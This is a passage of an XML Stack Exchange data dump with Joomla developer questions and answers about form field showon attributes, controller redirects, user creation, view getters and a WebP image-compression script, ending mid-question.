  <row Id="28538" PostTypeId="2" ParentId="28537" CreationDate="2020-10-06T14:38:39.433" Score="1" Body="&lt;p&gt;I'd go with a NodeJS approach because...why not, eh?&lt;/p&gt;&#xA;&lt;h3&gt;Step 1&lt;/h3&gt;&#xA;&lt;p&gt;Download all images and put them in a folder.&lt;/p&gt;&#xA;&lt;h3&gt;Step 2&lt;/h3&gt;&#xA;&lt;p&gt;Open your terminal (cmd, GitBash, etc) and navigate to your folder:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cd /path/my-folder&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;Step 3&lt;/h3&gt;&#xA;&lt;p&gt;Inside the folder, create a JS file (e.g &lt;code&gt;compress.js&lt;/code&gt;) and add the following code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;const imagemin = require('imagemin')&#xA;const imageminWebp = require('imagemin-webp')&#xA; &#xA;(async () =&amp;gt; {&#xA;    await imagemin(['*.{jpg,png}'], 'compressed/images', {&#xA;        use: [&#xA;            imageminWebp({quality: 100})&#xA;        ]&#xA;    });&#xA; &#xA;    console.log('Complete!')&#xA;})();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;Step 4&lt;/h3&gt;&#xA;&lt;p&gt;Run the JS file&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;node compress.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;Step 5&lt;/h3&gt;&#xA;&lt;p&gt;Run the following&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;npm install imagemin imagemin-webp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2020-10-07T11:03:30.067" LastActivityDate="2020-10-07T11:03:30.067" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28539" PostTypeId="1" AcceptedAnswerId="28543" CreationDate="2020-10-06T16:14:44.380" Score="1" ViewCount="328" Body="&lt;p&gt;When creating a showon attribute in list options one can do that in form XML since Joomla 3.9 like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;fieldx&amp;quot; type=&amp;quot;list&amp;quot; default=&amp;quot;0&amp;quot; label=&amp;quot;MYFIELDX&amp;quot;&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;0&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;1&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&#xA;&amp;lt;field name=&amp;quot;myfield&amp;quot; type=&amp;quot;list&amp;quot; default=&amp;quot;0&amp;quot; label=&amp;quot;MYFIELD&amp;quot;&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;A&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;B&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;2&amp;quot; showon=&amp;quot;fieldx:1&amp;quot;&amp;gt;C&amp;lt;/option&amp;gt; &#xA;    &amp;lt;option value=&amp;quot;3&amp;quot;&amp;gt;D&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I want to do that in a small custom field type I'm using in my component. Question is how can i add the showon attribute to options dynamically? I checked the pull request it was introduced by with no luck:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/18998&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/18998&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('JPATH_BASE') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Form\FormHelper;&#xA;&#xA;FormHelper::loadFieldClass('list');&#xA;&#xA;class JFormFieldObjecttypes extends JFormFieldList&#xA;{&#xA;    protected $type = 'Objecttypes';&#xA;&#xA;    public function getOptions()&#xA;    {&#xA;        $options = array();&#xA;        $db = Factory::getDbo();&#xA;&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('id AS value, title AS text');&#xA;        $query-&amp;gt;from('#__mytable');&#xA;        $query-&amp;gt;where('published = 1');&#xA;        $query-&amp;gt;order('ordering');&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $options = $db-&amp;gt;loadObjectList();&#xA;&#xA;        foreach ($options as $option) {&#xA;            $option-&amp;gt;text = Text::_($option-&amp;gt;text);&#xA;            $option-&amp;gt;showon = 'fieldx:1'; // stupid ofc&#xA;        }&#xA;&#xA;        return array_merge(parent::getOptions(), $options);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3822" LastActivityDate="2020-10-07T17:51:29.650" Title="Custom field type with showon attribute for list options" Tags="|custom-field|form-fields-types|fields|showon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28540" PostTypeId="1" CreationDate="2020-10-06T17:28:44.880" Score="1" ViewCount="345" Body="&lt;p&gt;I'm trying to understand the tutorial at &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_a_view_to_the_site_part&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_a_view_to_the_site_part&lt;/a&gt;,&#xA;but I don't understand the last line of code (&lt;code&gt;$controller-&amp;gt;redirect();&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Administrator&#xA; * @subpackage  com_helloworld&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;// No direct access to this file&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;// Get an instance of the controller prefixed by HelloWorld&#xA;$controller = JControllerLegacy::getInstance('HelloWorld');&#xA;&#xA;// Perform the Request task&#xA;$input = JFactory::getApplication()-&amp;gt;input;&#xA;$controller-&amp;gt;execute($input-&amp;gt;getCmd('task'));&#xA;&#xA;// Redirect if set by the controller&#xA;$controller-&amp;gt;redirect();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I looked at &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.MVC.Controller.BaseController.html#method_redirect&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.CMS.MVC.Controller.BaseController.html#method_redirect&lt;/a&gt; to find what this &lt;code&gt;redirect()&lt;/code&gt; actually does, but it does nothing and just returns a boolean value or maybe I am misunderstanding.&lt;/p&gt;&#xA;&lt;p&gt;I wonder where this &lt;code&gt;redirect()&lt;/code&gt; leads to. Does this &lt;code&gt;redirect()&lt;/code&gt; follow certain rules that I didn't yet see? Does &lt;code&gt;redirect()&lt;/code&gt; lead to a fixed URL?.&lt;/p&gt;&#xA;" OwnerUserId="14548" LastEditorUserId="12352" LastEditDate="2020-10-06T20:03:03.280" LastActivityDate="2020-10-07T06:15:00.353" Title="Where does JControllerLegacy::redirect() redirect to?" Tags="|redirect|controller|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28541" PostTypeId="2" ParentId="28540" CreationDate="2020-10-07T06:15:00.353" Score="1" Body="&lt;p&gt;It redirects to whatever is set in controller's &lt;code&gt;$redirect&lt;/code&gt; property, normally using &lt;code&gt;setRedirect()&lt;/code&gt; method.&lt;/p&gt;&#xA;&lt;p&gt;As an example, redirects are commonly used in form controllers. When saving an item fails, you are usually redirected back to the form. And when saving succeeds, you are redirected to a list of items.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-10-07T06:15:00.353" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28542" PostTypeId="2" ParentId="9546" CreationDate="2020-10-07T06:59:39.393" Score="1" Body="&lt;p&gt;Let me try a third solution:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;...&#xA;&#xA;&#xA;&#xA;public function display($cachable = false, $urlparams = array()) {&#xA;&#xA;    $user = Factory::getUser();&#xA;&#xA;    if ($user-&amp;gt;guest) {&#xA;        $this-&amp;gt;setRedirect(JRoute::_('index.php?option=com_users&amp;amp;view=login&amp;amp;return=' . base64_encode(JUri::current()), &amp;quot;You must be logged in to view this content&amp;quot;));&#xA;        return;&#xA;    }&#xA;&#xA;    parent::display($cachable, $urlparams);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This example gets rid of the old JFactory class. Please note that with Joomla4 you can get the user with &lt;code&gt;$app-&amp;gt;getIdentity()&lt;/code&gt;. &lt;code&gt;Factory::getUser()&lt;/code&gt; is deprecated but you still need to use it if you build a component for Joomla3 and Joomla4.&lt;/p&gt;&#xA;" OwnerUserId="11801" LastActivityDate="2020-10-07T06:59:39.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28543" PostTypeId="2" ParentId="28539" CreationDate="2020-10-07T11:51:23.260" Score="1" Body="&lt;p&gt;This is what I finally did. If someone knows a cleaner solution please let me know.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('JPATH_BASE') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Form\FormHelper;&#xA;&#xA;FormHelper::loadFieldClass('list');&#xA;&#xA;class JFormFieldObjecttypes extends JFormFieldList&#xA;{&#xA;    protected $type = 'Objecttypes';&#xA;&#xA;    public function getOptions()&#xA;    {&#xA;        $options = array();&#xA;        $db = Factory::getDbo();&#xA;&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('id AS value, title AS text');&#xA;        $query-&amp;gt;from('#__mytable');&#xA;        $query-&amp;gt;where('published = 1');&#xA;        $query-&amp;gt;order('ordering');&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $results = $db-&amp;gt;loadObjectList();    &#xA;&#xA;        $options = array();&#xA;        foreach ($results as $result) {&#xA;&#xA;            // here you can do some logic that creates an array containing fieldx dependencies&#xA;            $fieldx_logic = array(1,2); // just an example&#xA;&#xA;            $option =  JHTML::_('select.option', $result-&amp;gt;value, Text::_($result-&amp;gt;text));&#xA;            $attr = array('field' =&amp;gt; 'jform[fieldx]', 'values' =&amp;gt; implode(&amp;quot;,&amp;quot;, $fieldx_logic), 'sign' =&amp;gt; '=', 'op' =&amp;gt; '');&#xA;            $option-&amp;gt;optionattr = &amp;quot;data-showon='[&amp;quot; . json_encode($attr) . &amp;quot;]'&amp;quot;;&#xA;            $options[] = $option;&#xA;        }&#xA;&#xA;        return array_merge(parent::getOptions(), $options);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3822" LastEditorUserId="3822" LastEditDate="2020-10-07T17:51:29.650" LastActivityDate="2020-10-07T17:51:29.650" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28544" PostTypeId="1" CreationDate="2020-10-07T15:18:48.100" Score="1" ViewCount="187" Body="&lt;p&gt;I'm trying to install extensions and plugins on my site, but when I hit the Extensions &amp;gt; Install/Manage buttons, I keep getting a message that says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;403: Access Forbidden, Access to the Joomla! installer is disabled.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I'm the website administrator, so I'm confused as to why this is happening.&lt;/p&gt;&#xA;&lt;p&gt;How do I enable the Joomla installer?&lt;/p&gt;&#xA;" OwnerUserId="14574" LastEditorUserId="12352" LastEditDate="2020-10-07T21:42:26.870" LastActivityDate="2020-10-07T21:42:26.870" Title="Cannot install/manage extensions due to 403: Access to the Joomla! installer is disabled" Tags="|extensions|administrator|jinstaller|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28545" PostTypeId="1" CreationDate="2020-10-07T16:01:10.347" Score="0" ViewCount="907" Body="&lt;p&gt;I mistyped my username and password too many times and now receive the 403: Access Forbidden&#xA;Too many login attempts (Autobanned) whenever I try to login or even view the websites. Any ideas how to solve this problem? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14574" LastActivityDate="2024-02-20T18:05:50.817" Title="Too many login attempts-autobanned from my own site" Tags="|login|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28546" PostTypeId="1" AcceptedAnswerId="28548" CreationDate="2020-10-08T09:05:08.160" Score="2" ViewCount="128" Body="&lt;p&gt;Dont' know why but since Joomla 3.9.22 (or 3.9 ?), when I create a User with User Class, I have the error &amp;quot;Please enter your name&amp;quot;. &lt;strong&gt;But the name field is not empty.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here is my simple code :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$udata = array(&#xA;            &amp;quot;name&amp;quot;=&amp;gt;$data['name'],&#xA;            &amp;quot;username&amp;quot;=&amp;gt;$data['user'],&#xA;            &amp;quot;password&amp;quot;=&amp;gt;$data['pass'],&#xA;            &amp;quot;email&amp;quot;=&amp;gt;$data['email'],&#xA;            &amp;quot;block&amp;quot;=&amp;gt;0,&#xA;            &amp;quot;groups&amp;quot;=&amp;gt;array(&amp;quot;1&amp;quot;,&amp;quot;2&amp;quot;),&#xA;            &amp;quot;params&amp;quot;=&amp;gt;array(&#xA;                &amp;quot;admin_style&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&#xA;                &amp;quot;admin_language&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&#xA;                &amp;quot;language&amp;quot; =&amp;gt; 'fr-FR',&#xA;                &amp;quot;editor&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&#xA;                &amp;quot;helpsite&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&#xA;                &amp;quot;timezone&amp;quot; =&amp;gt; &amp;quot;&amp;quot;&#xA;&#xA;            ),&#xA;            &amp;quot;requireReset&amp;quot;=&amp;gt;1&#xA;        );&#xA;&#xA;&#xA;&#xA;        $user = new User;&#xA;        $user-&amp;gt;save();&#xA;&#xA;        if(!$user-&amp;gt;bind($udata)) {&#xA;&#xA;&#xA;            return false;&#xA;&#xA;&#xA;        }&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is the User Object:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;object(Joomla\CMS\User\User)[440]&#xA;  protected 'isRoot' =&amp;gt; null&#xA;  public 'id' =&amp;gt; int 0&#xA;  public 'name' =&amp;gt; string 'Test TEST' (length=9)&#xA;  &#xA;  ...    &#xA;&#xA;  protected '_errors' =&amp;gt; &#xA;    array (size=1)&#xA;      0 =&amp;gt; string 'Veuillez saisir votre nom.' (length=26)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Someone could help me? Because I don't understand.&lt;/p&gt;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="13837" LastEditorUserId="12352" LastEditDate="2020-10-08T23:23:43.520" LastActivityDate="2020-10-08T23:23:43.520" Title="Impossible to create new Joomla User with User Class : Please enter your name" Tags="|joomla-3.x|user|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28547" PostTypeId="2" ParentId="28545" CreationDate="2020-10-08T10:02:47.793" Score="0" Body="&lt;p&gt;See this link: &lt;a href=&quot;https://www.siteground.com/kb/i_cant_log_into_the_joomla_backend_as_administrator/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.siteground.com/kb/i_cant_log_into_the_joomla_backend_as_administrator/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you are using Admin Tools, you can reset your access by using the link that displays (replace the email address), follow this example:&#xA;&lt;a href=&quot;https://www.akeeba.com/videos/1207-admin-tools/1551-at009-unblocking-yourself.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.akeeba.com/videos/1207-admin-tools/1551-at009-unblocking-yourself.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14268" LastActivityDate="2020-10-08T10:02:47.793" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28548" PostTypeId="2" ParentId="28546" CreationDate="2020-10-08T12:49:52.453" Score="2" Body="&lt;p&gt;It looks like that You are actually just using a wrong sequence when you try to save a new user to the database.&lt;/p&gt;&#xA;&lt;p&gt;In the correct sequence you first &lt;code&gt;bind()&lt;/code&gt; the &lt;code&gt;$data&lt;/code&gt; (user data array) to the &lt;code&gt;new User&lt;/code&gt; object and then you can &lt;code&gt;save()&lt;/code&gt; it. So your new user is not stored in the database by your code above.&lt;/p&gt;&#xA;&lt;p&gt;The correct sequence:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$user = new User;&#xA;$user-&amp;gt;bind($udata);&#xA;$user-&amp;gt;save();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In an older post here you can see how you should apply exceptions (if you would like to):&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/1904809/how-can-i-create-a-new-joomla-user-account-from-within-a-script&quot;&gt;https://stackoverflow.com/questions/1904809/how-can-i-create-a-new-joomla-user-account-from-within-a-script&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12524" LastActivityDate="2020-10-08T12:49:52.453" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28549" PostTypeId="1" CreationDate="2020-10-08T21:45:46.917" Score="2" ViewCount="115" Body="&lt;p&gt;I look at &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_a_model_to_the_site_part&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_a_model_to_the_site_part&lt;/a&gt; and found this codes in turorial&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Administrator&#xA; * @subpackage  com_helloworld&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;// No direct access to this file&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;/**&#xA; * HTML View class for the HelloWorld Component&#xA; *&#xA; * @since  0.0.1&#xA; */&#xA;class HelloWorldViewHelloWorld extends JViewLegacy&#xA;{&#xA;    /**&#xA;     * Display the Hello World view&#xA;     *&#xA;     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.&#xA;     *&#xA;     * @return  void&#xA;     */&#xA;    function display($tpl = null)&#xA;    {&#xA;        // Assign data to the view&#xA;        $this-&amp;gt;msg = $this-&amp;gt;get('Msg');&#xA;&#xA;        // Check for errors.&#xA;        if (count($errors = $this-&amp;gt;get('Errors')))&#xA;        {&#xA;            JLog::add(implode('&amp;lt;br /&amp;gt;', $errors), JLog::WARNING, 'jerror');&#xA;&#xA;            return false;&#xA;        }&#xA;&#xA;        // Display the view&#xA;        parent::display($tpl);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;look at &lt;code&gt;$this-&amp;gt;msg = $this-&amp;gt;get('Msg');&lt;/code&gt; , at first glance I thought the &lt;code&gt;('Msg')&lt;/code&gt; is parameter refer to member of JViewLegacy or value from elsewhere.&#xA;I look at &lt;a href=&quot;https://api.joomla.org/cms-2.5/classes/JViewLegacy.html#method_get&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-2.5/classes/JViewLegacy.html#method_get&lt;/a&gt; it says&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Returns a property of the object or the default value if the property is not set.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I found the explanation of this code it says&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The HelloWorldViewHelloWorld class asks the model for data using the get method of the JViewLegacy. This get method converts the get('Msg') call into a getMsg() call on the model, which is the function which we have had to provide&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;from this explanation can I assume that if my function on &lt;code&gt;class HelloWorldModelHelloWorld extends JModelItem&lt;/code&gt; named &lt;code&gt;getMyMsg()&lt;/code&gt; then I can use &lt;code&gt;$this-&amp;gt;msg = $this-&amp;gt;get('MyMsg')&lt;/code&gt;?. what if my function has no &lt;code&gt;get&lt;/code&gt; as prefix for example my function called &lt;code&gt;MyMsg()&lt;/code&gt; how do i use &lt;code&gt;$this-&amp;gt;msg = $this-&amp;gt;get('?????')&lt;/code&gt; to get the value ?.&lt;/p&gt;&#xA;&lt;p&gt;when it says&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Returns a property of the object or the default value if the property is not set.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;what is PROPERTY means ?. why &lt;code&gt;get('Msg')&lt;/code&gt; suddenly becomes &lt;code&gt;getMsg()&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="14548" LastActivityDate="2020-10-09T08:07:35.123" Title="JViewLegacy::get weird behavior" Tags="|view|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28550" PostTypeId="2" ParentId="28549" CreationDate="2020-10-09T08:07:35.123" Score="2" Body="&lt;p&gt;That's an error in 2.5 documentation. For some reason it shows description of parent &lt;code&gt;JObject::get()&lt;/code&gt; method. In 2.5 code and in 3.0 documentation the description is this:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Method to get data from a registered model or a property of the view&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.MVC.View.HtmlView.html#method_get&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.CMS.MVC.View.HtmlView.html#method_get&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Which can still be confusing and not safe to use. For example, it could break if parent model class receives a get[property] method with [property] matching an actual property in your view.&lt;/p&gt;&#xA;&lt;p&gt;It's not necessary to use this method anyways. Instead I recommend getting data from the model directly:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$model     = $this-&amp;gt;getModel();&#xA;$this-&amp;gt;msg = $model-&amp;gt;getMsg();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-10-09T08:07:35.123" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28551" PostTypeId="1" CreationDate="2020-10-09T16:54:12.110" Score="1" ViewCount="86" Body="&lt;p&gt;So this is an example XML:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;field name=&amp;quot;field1&amp;quot; type=&amp;quot;text&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;&amp;quot; description=&amp;quot;&amp;quot;&amp;gt;&#xA;            &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;JSELECT&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;A1&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;A2&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;        &amp;lt;field name=&amp;quot;field2&amp;quot; type=&amp;quot;text&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;&amp;quot; description=&amp;quot;&amp;quot; /&amp;gt;&#xA;&#xA;        &amp;lt;fields name=&amp;quot;group1&amp;quot;&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;field11&amp;quot; type=&amp;quot;text&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;&amp;quot; description=&amp;quot;&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;field12&amp;quot; type=&amp;quot;text&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;&amp;quot; description=&amp;quot;&amp;quot; /&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;&#xA;        &amp;lt;fields name=&amp;quot;group2&amp;quot;&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;field21&amp;quot; showon=&amp;quot;noidea&amp;quot; type=&amp;quot;text&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;&amp;quot; description=&amp;quot;&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;field22&amp;quot; type=&amp;quot;text&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;&amp;quot; description=&amp;quot;&amp;quot; /&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm trying to toggle field21 in group2 when changing field1.&lt;/p&gt;&#xA;&lt;p&gt;This just adds the current group:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;field name=&amp;quot;field21&amp;quot; showon=&amp;quot;field1:2&amp;quot; type=&amp;quot;text&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;&amp;quot; description=&amp;quot;&amp;quot; /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;creates: &lt;code&gt;data-showon=&amp;quot;[{&amp;quot;field&amp;quot;:&amp;quot;jform[group2][field1]&amp;quot;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This targets another field in another group, but i need the root...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;field21&amp;quot; showon=&amp;quot;group1.field1:2&amp;quot; type=&amp;quot;text&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;&amp;quot; description=&amp;quot;&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;creates: &lt;code&gt;data-showon=&amp;quot;[{&amp;quot;field&amp;quot;:&amp;quot;jform[group1][field1]&amp;quot;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This was just a try&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;field name=&amp;quot;field21&amp;quot; showon=&amp;quot;.field1:2&amp;quot; type=&amp;quot;text&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;&amp;quot; description=&amp;quot;&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;creates: &lt;code&gt;data-showon=&amp;quot;[{&amp;quot;field&amp;quot;:&amp;quot;jform[][field1]&amp;quot;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is what i need: &lt;code&gt;data-showon=&amp;quot;[{&amp;quot;field&amp;quot;:&amp;quot;jform[field1]&amp;quot;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I only found a similar question here, but that was a bit different and already solved:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/6744&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/6744&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I dont see if &lt;code&gt;parseShowOnConditions&lt;/code&gt; is solving this.&lt;/p&gt;&#xA;&lt;p&gt;There is a pull request making this possible, but it wasnt merged into Joomla 3.22: &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/30850&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/30850&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Maybe there is another way of getting this to work.&lt;/p&gt;&#xA;" OwnerUserId="3822" LastEditorUserId="3822" LastEditDate="2020-10-09T18:49:09.890" LastActivityDate="2020-10-09T18:49:09.890" Title="Showon field attribute targeting field from a group to root" Tags="|custom-field|form-fields-types|xml|fields|showon|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28553" PostTypeId="1" CreationDate="2020-10-11T23:23:05.337" Score="0" ViewCount="44" Body="&lt;p&gt;I have an admin list view.&lt;/p&gt;&#xA;&lt;p&gt;The mysql table for that view has 4 columns/fields: &lt;code&gt;id&lt;/code&gt;, &lt;code&gt;name&lt;/code&gt;, &lt;code&gt;email&lt;/code&gt;, &lt;code&gt;phone&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;To that admin list view, I have added a button. A user can select one/multiple records in that list view, and then the user can click that button.&lt;/p&gt;&#xA;&lt;p&gt;When the button is clicked, I want to echo/print email-field-value(s) of those selected record(s).&lt;/p&gt;&#xA;&lt;p&gt;I have created this function inside the controller file of that admin list view:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function emailVolunteerApproval() {&#xA;    $input = JFactory::getApplication()-&amp;gt;input;&#xA;    $pks = $input-&amp;gt;post-&amp;gt;get('cid', array(), 'array');&#xA;    